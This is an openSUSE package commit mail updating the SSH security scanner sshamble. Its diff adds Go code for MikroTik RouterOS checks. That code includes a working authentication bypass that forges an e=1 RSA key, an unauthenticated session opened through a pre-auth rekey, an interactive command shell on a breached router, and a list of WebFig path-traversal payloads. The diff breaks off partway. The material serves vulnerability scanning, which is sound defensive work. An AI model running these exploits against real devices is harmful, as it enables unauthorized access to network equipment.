Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package sshamble for openSUSE:Factory checked in at 2026-09-09 16:22:21 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/sshamble (Old) and /work/SRC/openSUSE:Factory/.sshamble.new.1265 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Package is "sshamble" Wed Sep 9 16:22:21 2026 rev:5 rq:1376595 version:0.3.12 Changes: -------- --- /work/SRC/openSUSE:Factory/sshamble/sshamble.changes 2026-07-31 16:10:31.291137783 +0200 +++ /work/SRC/openSUSE:Factory/.sshamble.new.1265/sshamble.changes 2026-09-09 16:23:56.747024084 +0200 @@ -1,0 +2,6 @@ +Tue Sep 8 06:03:42 UTC 2026 - Martin Hauke <[email protected]> + +- Update to version 0.3.12 + * Add mikrotik CVE-2026-67279 pre-auth rekey session check. + +------------------------------------------------------------------- Old: ---- sshamble-0.3.10.tar.gz New: ---- sshamble-0.3.12.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ sshamble.spec ++++++ --- /var/tmp/diff_new_pack.Y8YX7g/_old 2026-09-09 16:23:57.593059442 +0200 +++ /var/tmp/diff_new_pack.Y8YX7g/_new 2026-09-09 16:23:57.595059526 +0200 @@ -18,7 +18,7 @@ Name: sshamble -Version: 0.3.10 +Version: 0.3.12 Release: 0 Summary: Security testing toolset for SSH License: BSD-2-Clause @@ -28,7 +28,7 @@ Source: https://github.com/runZeroInc/sshamble/archive/refs/tags/v%{version}.tar.gz#/%{name}-%{version}.tar.gz Source1: vendor.tar.gz BuildRequires: go -BuildRequires: golang-packaging >= 1.22.5 +BuildRequires: golang-packaging >= 1.27.1 %{go_provides} %description ++++++ sshamble-0.3.10.tar.gz -> sshamble-0.3.12.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln.go new/sshamble-0.3.12/cmd/check_vuln.go --- old/sshamble-0.3.10/cmd/check_vuln.go 2026-07-28 04:41:47.000000000 +0200 +++ new/sshamble-0.3.12/cmd/check_vuln.go 2026-09-07 21:41:04.000000000 +0200 @@ -6,4 +6,13 @@ // Disabled by default due to false positives today registerCheck(checkVulnExecSkipUserAuth, "vuln", false, false) registerCheck(checkVulnExecSkipAuth, "vuln", false, false) + + // MikroTik SSH public-key auth bypass (CVE-2026-67276) + registerCheck(checkVulnMikrotikPubkey, "vuln", false, true) + + // MikroTik SSH pre-auth rekey session (CVE-2026-67279) + registerCheck(checkVulnMikrotikPreauthRekey, "vuln", false, true) + + // MikroTik WebFig unauthenticated file read (CVE-2026-67281) — not yet working + // registerCheck(checkVulnMikrotikWebfigTraversal, "vuln", false, true) } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik.go new/sshamble-0.3.12/cmd/check_vuln_mikrotik.go --- old/sshamble-0.3.10/cmd/check_vuln_mikrotik.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik.go 2026-09-07 21:41:04.000000000 +0200 @@ -0,0 +1,316 @@ +package cmd + +import ( + "bufio" + "bytes" + "crypto/sha1" + "crypto/sha256" + "crypto/sha512" + "encoding/hex" + "fmt" + "hash" + "io" + "math/big" + "net" + "os" + "strings" + "time" + + "github.com/runZeroInc/excrypto/crypto/rsa" + "github.com/runZeroInc/excrypto/x/crypto/ssh" + "github.com/runZeroInc/sshamble/auth" +) + +const checkVulnMikrotikPubkey = "vuln-mikrotik-pubkey-bypass" + +// CVE-2026-67276 (MikroTrick): RouterOS SSH userauth matches a presented +// public-key blob against the user's authorized key by (key type, modulus) and +// omits the exponent, then verifies the signature using the exponent from the +// client-supplied blob. Presenting {ssh-rsa, e=1, n=victim modulus} makes +// sig^1 mod n == sig, so the valid "signature" is simply the EMSA-PKCS1-v1_5 +// block of the auth data, computable by anyone who knows the victim's public +// modulus. No private key is required. +// +// https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/ + +// ASN.1 DigestInfo prefixes for the EMSA-PKCS1-v1_5 encoding of each RSA +// signature algorithm (RFC 8017 section 9.2 note 1). +var mikrotikDigestInfo = map[string][]byte{ + ssh.KeyAlgoRSA: mikrotikMustHex("3021300906052b0e03021a05000414"), + ssh.KeyAlgoRSASHA256: mikrotikMustHex("3031300d060960864801650304020105000420"), + ssh.KeyAlgoRSASHA512: mikrotikMustHex("3051300d060960864801650304020305000440"), +} + +func mikrotikMustHex(s string) []byte { + b, err := hex.DecodeString(s) + if err != nil { + panic(err) + } + return b +} + +// mikrotikForgeSigner presents a forged {ssh-rsa, e=1, n} public key and, when +// asked to sign, returns the raw EMSA-PKCS1-v1_5 block of the auth data. That +// block is a valid signature iff the server verifies with the client-supplied +// e=1 exponent (the CVE-2026-67276 defect). +type mikrotikForgeSigner struct { + pub ssh.PublicKey + n *big.Int +} + +func (s *mikrotikForgeSigner) PublicKey() ssh.PublicKey { return s.pub } + +func (s *mikrotikForgeSigner) Sign(rand io.Reader, data []byte) (*ssh.Signature, error) { + return s.SignWithAlgorithm(rand, data, ssh.KeyAlgoRSA) +} + +func (s *mikrotikForgeSigner) SignWithAlgorithm(rand io.Reader, data []byte, algorithm string) (*ssh.Signature, error) { + k := (s.n.BitLen() + 7) / 8 + block, err := mikrotikEmsaPKCS1v15(data, algorithm, k) + if err != nil { + return nil, err + } + // Encode the signature integer as a minimal mpint: strip the leading zero + // byte (the EMSA block always begins 0x00 0x01) so the value is unchanged. + sig := bytes.TrimLeft(block, "\x00") + if len(sig) == 0 { + sig = []byte{0} + } + return &ssh.Signature{Format: algorithm, Blob: sig}, nil +} + +// mikrotikEmsaPKCS1v15 builds the RFC 8017 section 9.2 EMSA-PKCS1-v1_5 block +// of length k for the given SSH RSA signature algorithm. +func mikrotikEmsaPKCS1v15(data []byte, sigAlg string, k int) ([]byte, error) { + di, ok := mikrotikDigestInfo[sigAlg] + if !ok { + return nil, fmt.Errorf("unsupported RSA signature algorithm %q", sigAlg) + } + + var h hash.Hash + switch sigAlg { + case ssh.KeyAlgoRSA: + h = sha1.New() + case ssh.KeyAlgoRSASHA256: + h = sha256.New() + case ssh.KeyAlgoRSASHA512: + h = sha512.New() + } + h.Write(data) + + t := append(append([]byte{}, di...), h.Sum(nil)...) + psLen := k - len(t) - 3 + if psLen < 8 { + return nil, fmt.Errorf("RSA modulus too small for %s (%d bytes)", sigAlg, k) + } + + out := make([]byte, 0, k) + out = append(out, 0x00, 0x01) + out = append(out, bytes.Repeat([]byte{0xff}, psLen)...) + out = append(out, 0x00) + out = append(out, t...) + return out, nil +} + +func sshCheckVulnMikrotikPubkey(addr string, conf *ScanConfig, options *auth.Options, root *auth.AuthResult) *auth.AuthResult { + tname := checkVulnMikrotikPubkey + if !conf.IsCheckEnabled(tname) { + return nil + } + + // Victim modulus comes from --mikrotik-pubkey, or from an ssh-rsa --private-key. + modulus := conf.MikrotikRSAModulus + if modulus == nil && options.PrivateKey != nil { + modulus = rsaModulusFromPubkey(options.PrivateKey.PublicKey()) + } + if modulus == nil { + return nil + } + + conf.Logger.Debugf("%s %s is running for user %s", addr, tname, options.Username) + + // Build the forged {ssh-rsa, e=1, n=victim} public key. + pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: modulus, E: big.NewInt(1)}) + if err != nil { + conf.Logger.Errorf("%s %s failed to build forged key: %v", addr, tname, err) + return nil + } + + signer := &mikrotikForgeSigner{pub: pub, n: modulus} + + am := ssh.AuthMethod(ssh.PublicKeysCallback(func() ([]ssh.Signer, error) { + return []ssh.Signer{signer}, nil + })) + + cb := func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, r *auth.AuthResult) error { + _ = c.SetDeadline(time.Now().Add(time.Second * 15)) + out, err := ses.CombinedOutput("/system resource print") + r.SessionOutput = auth.CleanSessionOutput([]byte(out)) + r.ExitStatus = "" + if err != nil { + if ee, ok := err.(*ssh.ExitError); ok { + r.ExitStatus = fmt.Sprintf("%d", ee.ExitStatus()) + return nil + } + return err + } + return nil + } + + res := auth.SSHAuth(addr, options.WithSessionHandler(cb), auth.SSHAuthHandlerSingle(am)) + + if res.Stage != "session" { + conf.Logger.Debugf("%s %s did not bypass auth (stage %s): %v", addr, tname, res.Stage, res.Error) + return nil + } + + // Negative control: a forged key with a DIFFERENT modulus must be rejected. + // If it also authenticates, the server accepts arbitrary keys (not this CVE) + // and we must not report a vulnerability. + if mikrotikNegativeControlAuthenticated(addr, conf, options, modulus) { + conf.Logger.Warnf("%s %s negative control (wrong modulus) also authenticated; not reporting CVE-2026-67276", addr, tname) + return nil + } + + conf.Logger.Warnf("%s %s bypassed authentication as %s using a forged e=1 public key", addr, tname, options.Username) + conf.Logger.Infof("%s %s Mikrotik version output: %s", addr, tname, res.SessionOutput) + + root.AddVuln(auth.VulnResult{ + ID: tname, + Ref: "https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/", + Proof: fmt.Sprintf("CVE-2026-67276: authenticated as %s via forged e=1 RSA public key (modulus-only). /system resource print: %s", options.Username, res.SessionOutput), + }) + + res.SessionMethod = tname + root.SessionMethod = tname + root.SessionOutput = res.SessionOutput + root.SessionSecret = auth.PubKeyToString(pub) + root.ExitStatus = res.ExitStatus + root.SessionAuth = am + + return res +} + +// mikrotikNegativeControlAuthenticated attempts the same forge using an +// unrelated modulus. A vulnerable RouterOS matches by modulus and will reject +// this key; a server that accepts it is accepting arbitrary keys for some other +// reason, which is not CVE-2026-67276. +func mikrotikNegativeControlAuthenticated(addr string, conf *ScanConfig, options *auth.Options, victimModulus *big.Int) bool { + // A fixed unrelated 2048-bit modulus (RFC 2409 group 2 prime). + wrongN, ok := new(big.Int).SetString("ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aacaa68ffffffffffffffff", 16) + if !ok { + conf.Logger.Warnf("%s mikrotik negative control failed to parse modulus", addr) + return false + } + + pub, err := ssh.NewPublicKey(&rsa.PublicKey{N: wrongN, E: big.NewInt(1)}) + if err != nil { + conf.Logger.Warnf("%s mikrotik negative control failed to build key: %v", addr, err) + return false + } + signer := &mikrotikForgeSigner{pub: pub, n: wrongN} + am := ssh.AuthMethod(ssh.PublicKeysCallback(func() ([]ssh.Signer, error) { + return []ssh.Signer{signer}, nil + })) + + ctrl := auth.SSHAuth(addr, options.WithStopStage("session"), auth.SSHAuthHandlerSingle(am)) + return ctrl.Stage == "session" +} + +// MikrotikInteractHandler drives an interactive RouterOS command session over +// exec channels. RouterOS's SSH "shell" channel is a full-screen TUI that +// requires terminal emulation (it emits ESC[6n cursor-position queries and +// draws a banner), so the generic raw-mode interact handler cannot send it +// input. RouterOS's "exec" channel, however, runs commands reliably, so we +// implement a line-based REPL that opens a fresh exec session per command. +func (conf *ScanConfig) MikrotikInteractHandler(addr string, options *auth.Options, root *auth.AuthResult) auth.SessionHandler { + return func(conn net.Conn, sclient *ssh.Client, ses *ssh.Session, res *auth.AuthResult) error { + // The auto-opened session is unused; close it and drive our own + // exec sessions instead. + _ = ses.Close() + _ = conn.SetDeadline(time.Time{}) + + defer sclient.Close() + + reader := bufio.NewReader(os.Stdin) + fmt.Printf("\r\nMikroTik RouterOS exec session on %s (user %s)\r\n", addr, options.Username) + fmt.Printf("Type RouterOS commands, or 'exit' to quit.\r\n\r\n") + + for { + fmt.Printf("[%s@%s] > ", options.Username, addr) + line, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + return nil + } + return err + } + line = strings.TrimSpace(line) + if line == "" { + continue + } + switch strings.ToLower(line) { + case "exit", "quit", ".": + return nil + } + + cs, err := sclient.NewSession() + if err != nil { + fmt.Fprintf(os.Stderr, "failed to open exec session: %v\r\n", err) + return err + } + out, cerr := cs.CombinedOutput(line) + cs.Close() + if len(out) > 0 { + os.Stdout.Write(out) + if out[len(out)-1] != '\n' { + os.Stdout.Write([]byte("\r\n")) + } + } + if cerr != nil { + if cerr == io.EOF { + return nil + } + if _, ok := cerr.(*ssh.ExitError); !ok { + fmt.Fprintf(os.Stderr, "command failed: %v\r\n", cerr) + } + } + } + } +} + +// rsaModulusFromPubkey returns the RSA modulus of an ssh-rsa public key, or nil. +func rsaModulusFromPubkey(pub ssh.PublicKey) *big.Int { + if pub == nil || pub.Type() != ssh.KeyAlgoRSA { + return nil + } + cpk, ok := pub.(ssh.CryptoPublicKey) + if !ok { + return nil + } + rpub, ok := cpk.CryptoPublicKey().(*rsa.PublicKey) + if !ok { + return nil + } + return rpub.N +} + +// loadMikrotikModulus parses the victim RSA public key supplied via +// --mikrotik-pubkey and returns its modulus. +func loadMikrotikModulus(conf *ScanConfig) *big.Int { + if gMikrotikPubKeyFile == "" { + return nil + } + rawb, err := os.ReadFile(gMikrotikPubKeyFile) + if err != nil { + conf.Logger.Fatalf("failed to open mikrotik public key file '%s': %v", gMikrotikPubKeyFile, err) + } + pub, _, _, _, err := ssh.ParseAuthorizedKey(rawb) + if err != nil { + conf.Logger.Fatalf("failed to parse mikrotik public key '%s': %v", gMikrotikPubKeyFile, err) + } + if pub.Type() != ssh.KeyAlgoRSA { + conf.Logger.Fatalf("mikrotik public key '%s' is %q, need ssh-rsa", gMikrotikPubKeyFile, pub.Type()) + } + return rsaModulusFromPubkey(pub) +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey.go new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go --- old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey.go 2026-09-07 21:41:04.000000000 +0200 @@ -0,0 +1,138 @@ +package cmd + +import ( + "fmt" + "net" + "regexp" + "strings" + "time" + + "github.com/runZeroInc/excrypto/x/crypto/ssh" + "github.com/runZeroInc/sshamble/auth" +) + +const checkVulnMikrotikPreauthRekey = "vuln-mikrotik-preauth-rekey" + +// CVE-2026-67279 (MikroTrick): RouterOS SSH loses track of the incomplete +// userauth state when the client requests a key re-exchange before +// authenticating, and then accepts connection-protocol messages anyway. An +// unauthenticated client can open a session channel (and dispatch exec +// requests) without any credentials. Fixed in 7.24.2 / 7.23.4 / 6.49.21. +// +// This check needs no credentials and no victim key material: it requests a +// rekey immediately after the initial key exchange, skips the userauth +// service entirely, and tries to open a session channel. A patched server +// (and any sane sshd) refuses the channel; a vulnerable RouterOS accepts it. +// +// https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/ + +func sshCheckVulnMikrotikPreauthRekey(addr string, conf *ScanConfig, options *auth.Options, root *auth.AuthResult) *auth.AuthResult { + tname := checkVulnMikrotikPreauthRekey + if !conf.IsCheckEnabled(tname) { + return nil + } + + conf.Logger.Debugf("%s %s is running", addr, tname) + + run := func(rekey bool) *auth.AuthResult { + o := options. + WithSkipStages("ssh-userauth", "auth"). + WithSessionHandler(func(c net.Conn, sclient *ssh.Client, ses *ssh.Session, r *auth.AuthResult) error { + _ = c.SetDeadline(time.Now().Add(time.Second * 15)) + out, err := ses.CombinedOutput("/system resource print") + r.SessionOutput = auth.CleanSessionOutput([]byte(out)) + r.ExitStatus = "" + if err != nil { + if ee, ok := err.(*ssh.ExitError); ok { + r.ExitStatus = fmt.Sprintf("%d", ee.ExitStatus()) + return nil + } + return err + } + return nil + }) + if rekey { + // Trigger a client-requested rekey while still unauthenticated. + // Packets written afterwards (the channel open) are queued by the + // transport and flushed once the rekey completes. + o = o.WithPostAuthHandler(func(c net.Conn, uac *ssh.UnauthClientConn, r *auth.AuthResult) error { + if err := uac.RequestKeyExchange(); err != nil { + conf.Logger.Debugf("%s %s rekey request failed: %v", addr, tname, err) + return err + } + conf.Logger.Tracef("%s %s pre-auth rekey requested", addr, tname) + return nil + }) + } + // ssh.None() is never reached (the auth stage is skipped); it only + // satisfies the SSHAuth signature. + return auth.SSHAuth(addr, o, auth.SSHAuthHandlerSingle(ssh.None())) + } + + res := run(true) + if res.Stage != "session" { + conf.Logger.Debugf("%s %s did not open a pre-auth session after rekey (stage %s): %v", addr, tname, res.Stage, res.Error) + return nil + } + + // Negative control: without the rekey, the same pre-auth channel open must + // be refused. If it also succeeds, the server accepts pre-auth sessions + // generally (a different defect, e.g. vuln-exec-skip-userauth), and we + // must not attribute it to CVE-2026-67279. + if ctrl := run(false); ctrl.Stage == "session" { + conf.Logger.Warnf("%s %s control (no rekey) also opened a pre-auth session; not reporting CVE-2026-67279", addr, tname) + return nil + } + + // Attribute to RouterOS before naming the CVE: either the server banner + // (SSH-2.0-ROSSSH) or the proof command output must look like RouterOS. + if !mikrotikPreauthRekeyIsRouterOS(res.Version, res.SessionOutput) { + conf.Logger.Warnf("%s %s opened a session WITHOUT authentication after a pre-auth rekey, but the service (%q) does not look like RouterOS; not reporting CVE-2026-67279", addr, tname, res.Version) + return nil + } + + version := mikrotikParseRouterOSVersion(res.SessionOutput) + conf.Logger.Warnf("%s %s opened a session WITHOUT authentication via pre-auth rekey", addr, tname) + if version != "" { + conf.Logger.Infof("%s %s RouterOS version: %s", addr, tname, version) + } + + proof := fmt.Sprintf("CVE-2026-67279: session channel opened without authentication after a client-requested pre-auth rekey (server: %s; control without rekey was refused)", res.Version) + if version != "" { + proof += fmt.Sprintf(". RouterOS version: %s", version) + } + if res.SessionOutput != "" { + proof += fmt.Sprintf(". /system resource print: %s", res.SessionOutput) + } + + root.AddVuln(auth.VulnResult{ + ID: tname, + Ref: "https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/", + Proof: proof, + }) + + res.SessionMethod = tname + root.SessionMethod = tname + root.SessionOutput = res.SessionOutput + root.ExitStatus = res.ExitStatus + + return res +} + +// mikrotikPreauthRekeyIsRouterOS reports whether the server banner or the +// proof command output identifies the target as MikroTik RouterOS. +func mikrotikPreauthRekeyIsRouterOS(serverVersion string, output string) bool { + return strings.Contains(serverVersion, "ROSSSH") || strings.Contains(output, "MikroTik") +} + +var mikrotikVersionPattern = regexp.MustCompile(`version:\s*(\S+)`) + +// mikrotikParseRouterOSVersion extracts the version string from the output of +// "/system resource print" ("version: 7.24.1 (stable)"), or "" if absent. +func mikrotikParseRouterOSVersion(output string) string { + m := mikrotikVersionPattern.FindStringSubmatch(output) + if m == nil { + return "" + } + return m[1] +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey_test.go new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey_test.go --- old/sshamble-0.3.10/cmd/check_vuln_mikrotik_rekey_test.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik_rekey_test.go 2026-09-07 21:41:04.000000000 +0200 @@ -0,0 +1,36 @@ +package cmd + +import "testing" + +func TestMikrotikPreauthRekeyIsRouterOS(t *testing.T) { + cases := []struct { + banner string + output string + want bool + }{ + {"SSH-2.0-ROSSSH", "", true}, + {"SSH-2.0-ROSSSH", "version: 7.24.1 (stable)", true}, + {"SSH-2.0-OpenSSH_9.9", "platform: MikroTik", true}, + {"SSH-2.0-OpenSSH_9.9", "Linux router 6.1.0", false}, + {"SSH-2.0-OpenSSH_9.9", "", false}, + } + for _, tc := range cases { + if got := mikrotikPreauthRekeyIsRouterOS(tc.banner, tc.output); got != tc.want { + t.Errorf("mikrotikPreauthRekeyIsRouterOS(%q, %q) = %v, want %v", tc.banner, tc.output, got, tc.want) + } + } +} + +func TestMikrotikParseRouterOSVersion(t *testing.T) { + output := ` uptime: 1h29m12s + version: 7.24.1 (stable) + build-time: 2026-08-21 13:06:38 + platform: MikroTik +` + if got := mikrotikParseRouterOSVersion(output); got != "7.24.1" { + t.Errorf("mikrotikParseRouterOSVersion() = %q, want %q", got, "7.24.1") + } + if got := mikrotikParseRouterOSVersion("no version here"); got != "" { + t.Errorf("mikrotikParseRouterOSVersion() = %q, want empty", got) + } +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_mikrotik_test.go new/sshamble-0.3.12/cmd/check_vuln_mikrotik_test.go --- old/sshamble-0.3.10/cmd/check_vuln_mikrotik_test.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.3.12/cmd/check_vuln_mikrotik_test.go 2026-09-07 21:41:04.000000000 +0200 @@ -0,0 +1,102 @@ +package cmd + +import ( + "crypto/sha256" + "math/big" + "testing" + + "github.com/runZeroInc/excrypto/x/crypto/ssh" +) + +// TestMikrotikEmsaPKCS1v15Shape verifies the EMSA-PKCS1-v1_5 block layout for +// each RSA signature algorithm and that the forged e=1 signature verifies +// (sig^1 mod n == sig) while a 65537 exponent would reject it. This is the +// primitive that CVE-2026-67276 relies on, testable without a target. +func TestMikrotikEmsaPKCS1v15Shape(t *testing.T) { + // Use a modest 1024-bit modulus so k=128. + n, ok := new(big.Int).SetString("b10b8f96a080e01dde92de5eae5d54ec52c99fbcfb06a3c69a6a9dca52d23b616073e28675a23d189838ef1e2ee652c013ecb4aea906112324975c3cd49b83bfaccbdd7d90c4bd7098488e9c219a73724effd6fae5644738faa31a4ff55bccc0a151af5f0dc8b4bd45bf37df365c1a65e68cfda76d4da708df1fb2bc2e4a4371", 16) + if !ok { + t.Fatalf("failed to parse modulus") + } + + cases := []struct { + alg string + }{ + {ssh.KeyAlgoRSA}, + {ssh.KeyAlgoRSASHA256}, + {ssh.KeyAlgoRSASHA512}, + } + + for _, tc := range cases { + block, err := mikrotikEmsaPKCS1v15([]byte("auth-data"), tc.alg, 128) + if err != nil { + t.Fatalf("%s: %v", tc.alg, err) + } + if len(block) != 128 { + t.Fatalf("%s: block len = %d, want 128", tc.alg, len(block)) + } + if block[0] != 0x00 || block[1] != 0x01 { + t.Fatalf("%s: missing 00 01 prefix", tc.alg) + } + if block[2] != 0xff { + t.Fatalf("%s: missing padding", tc.alg) + } + + // The forged signature is the EMSA block interpreted as an integer. + sig := new(big.Int).SetBytes(block) + if sig.Cmp(n) >= 0 { + t.Fatalf("%s: sig >= n", tc.alg) + } + + // e=1: sig^1 mod n == sig, so the block round-trips exactly. + em := new(big.Int).Exp(sig, big.NewInt(1), n) + padded := make([]byte, 128) + copy(padded[128-len(em.Bytes()):], em.Bytes()) + if string(padded) != string(block) { + t.Fatalf("%s: e=1 verify mismatch", tc.alg) + } + + // e=65537 must NOT reproduce the block (negative control). + em65537 := new(big.Int).Exp(sig, big.NewInt(65537), n) + if string(em65537.Bytes()) == string(block) { + t.Fatalf("%s: e=65537 unexpectedly verified", tc.alg) + } + } +} + +// TestMikrotikForgeSignerSignature verifies the SignWithAlgorithm output +// encodes the signature as a minimal mpint and preserves the algorithm name. +func TestMikrotikForgeSignerSignature(t *testing.T) { + n, _ := new(big.Int).SetString("b10b8f96a080e01dde92de5eae5d54ec52c99fbcfb06a3c69a6a9dca52d23b616073e28675a23d189838ef1e2ee652c013ecb4aea906112324975c3cd49b83bfaccbdd7d90c4bd7098488e9c219a73724effd6fae5644738faa31a4ff55bccc0a151af5f0dc8b4bd45bf37df365c1a65e68cfda76d4da708df1fb2bc2e4a4371", 16) + + signer := &mikrotikForgeSigner{pub: nil, n: n} + sig, err := signer.SignWithAlgorithm(nil, []byte("data"), ssh.KeyAlgoRSASHA256) + if err != nil { + t.Fatalf("SignWithAlgorithm: %v", err) + } + if sig.Format != ssh.KeyAlgoRSASHA256 { + t.Fatalf("format = %q, want %q", sig.Format, ssh.KeyAlgoRSASHA256) + } + // The blob must start with 0x00 0x01 (the leading zero of the EMSA block + // is stripped, so the integer begins with 0x01). + if len(sig.Blob) == 0 || sig.Blob[0] != 0x01 { + t.Fatalf("signature blob does not start with 0x01: %x", sig.Blob[:8]) + } + // Blob must be <= k bytes (minimal mpint of a k-byte block). + if len(sig.Blob) > 128 { + t.Fatalf("signature blob too long: %d > 128", len(sig.Blob)) + } + + // Sanity: sha256 of data is embedded. + sum := sha256.Sum256([]byte("data")) + found := false + for i := 0; i+len(sum) <= len(sig.Blob); i++ { + if string(sig.Blob[i:i+len(sum)]) == string(sum[:]) { + found = true + break + } + } + if !found { + t.Fatalf("signature blob does not contain SHA-256 digest") + } +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/check_vuln_webfig_traversal.go new/sshamble-0.3.12/cmd/check_vuln_webfig_traversal.go --- old/sshamble-0.3.10/cmd/check_vuln_webfig_traversal.go 1970-01-01 01:00:00.000000000 +0100 +++ new/sshamble-0.3.12/cmd/check_vuln_webfig_traversal.go 2026-09-07 21:41:04.000000000 +0200 @@ -0,0 +1,114 @@ +package cmd + +import ( + "fmt" + "strings" + "time" + + "github.com/runZeroInc/sshamble/auth" + "github.com/runZeroInc/sshamble/webfig" +) + +const checkVulnMikrotikWebfigTraversal = "vuln-mikrotik-webfig-traversal" + +// sshCheckVulnMikrotikWebfigTraversal attempts to read /id_rsa.pub from the +// target's WebFig jsproxy using the CVE-2026-67281 path-traversal vulnerability. +// +// The vulnerability allows an unauthenticated attacker to read arbitrary files +// by exploiting a stale/uninitialized principal pointer in newly allocated +// jsproxy sessions. The attacker establishes an X25519+AES-128-CTR session, +// then sends an encrypted GET with ".." components to escape the WebFig file +// namespace. +// +// Multiple traversal encodings are attempted to bypass path sanitization. +// Multiple sessions are attempted to increase the chance of hitting a session +// with a stale principal pointer (CWE-824). +func sshCheckVulnMikrotikWebfigTraversal(addr string, conf *ScanConfig, options *auth.Options, root *auth.AuthResult) *auth.AuthResult { + tname := checkVulnMikrotikWebfigTraversal + if !conf.IsCheckEnabled(tname) { + return nil + } + + conf.Logger.Debugf("%s %s is running", addr, tname) + + host := options.Host + + // Traversal paths to attempt, ordered by likelihood. + // The webfig file root is typically /nova/bin/www/webfig/ on RouterOS, + // so ../../ reaches /nova/bin/www/, ../../../ reaches /nova/bin/, + // and ../../../../ reaches /nova/. + paths := []string{ + "../../id_rsa.pub", + "../../../id_rsa.pub", + "../../../../id_rsa.pub", + "../../../../../id_rsa.pub", + "../../../../../../id_rsa.pub", + // Double-URL-encoded traversal (server may decode after decrypt) + "%2e%2e%2fid_rsa.pub", + "%2e%2e%2f%2e%2e%2fid_rsa.pub", + "%2e%2e%2f%2e%2e%2f%2e%2e%2fid_rsa.pub", + // Overlong UTF-8 encoding of "." + "%c0%ae%c0%ae/id_rsa.pub", + "%c0%ae%c0%ae/%c0%ae%c0%ae/id_rsa.pub", + // Backslash variant + "..\\..\\id_rsa.pub", + "..\\..\\..\\id_rsa.pub", + } + + // Try up to 3 sessions to increase chance of hitting a stale principal. + // Space sessions apart to avoid rate-limiting. + for attempt := range 3 { + if attempt > 0 { + time.Sleep(2 * time.Second) + } + + sess, err := webfig.Dial(host) + if err != nil { + conf.Logger.Debugf("%s %s webfig handshake attempt %d failed: %v", addr, tname, attempt+1, err) + continue + } + + // Try only the first few paths per session to avoid rate-limiting. + // The server may close the connection after a failed traversal. + maxPaths := 3 + if len(paths) < maxPaths { + maxPaths = len(paths) + } + for pi := 0; pi < maxPaths; pi++ { + path := paths[pi] + status, data, err := sess.ReadFileStatus(path) + if err != nil { + conf.Logger.Debugf("%s %s traversal %q attempt %d failed: %v", addr, tname, path, attempt+1, err) + // Server likely closed connection or rate-limited; stop this session. + break + } + + content := string(data) + + // Check if the response looks like an SSH public key + if status == 200 && (strings.HasPrefix(content, "ssh-rsa ") || + strings.HasPrefix(content, "ssh-ed25519 ") || + strings.HasPrefix(content, "ecdsa-sha2-") || + strings.HasPrefix(content, "ssh-dss ")) { + conf.Logger.Infof("%s %s successfully read %q (%d bytes) on attempt %d", addr, tname, path, len(data), attempt+1) + + root.AddVuln(auth.VulnResult{ + ID: tname, + Ref: "CVE-2026-67281", + URL: "https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/", + Proof: fmt.Sprintf("unauthenticated file read via WebFig jsproxy traversal (%s): %s", path, strings.TrimSpace(content)), + }) + return nil + } + + // Log unexpected successful responses for debugging + if status == 200 && len(data) > 0 { + conf.Logger.Debugf("%s %s traversal %q returned 200 with %d bytes (not a key): %s", + addr, tname, path, len(data), strings.TrimSpace(content[:min(len(content), 200)])) + } + } + } + + conf.Logger.Debugf("%s %s all traversal attempts across all sessions failed", addr, tname) + return nil +} diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/sshamble-0.3.10/cmd/cmd_scan.go new/sshamble-0.3.12/cmd/cmd_scan.go --- old/sshamble-0.3.10/cmd/cmd_scan.go 2026-07-28 04:41:47.000000000 +0200 +++ new/sshamble-0.3.12/cmd/cmd_scan.go 2026-09-07 21:41:04.000000000 +0200 @@ -4,6 +4,7 @@ "bufio" "io" "maps" + 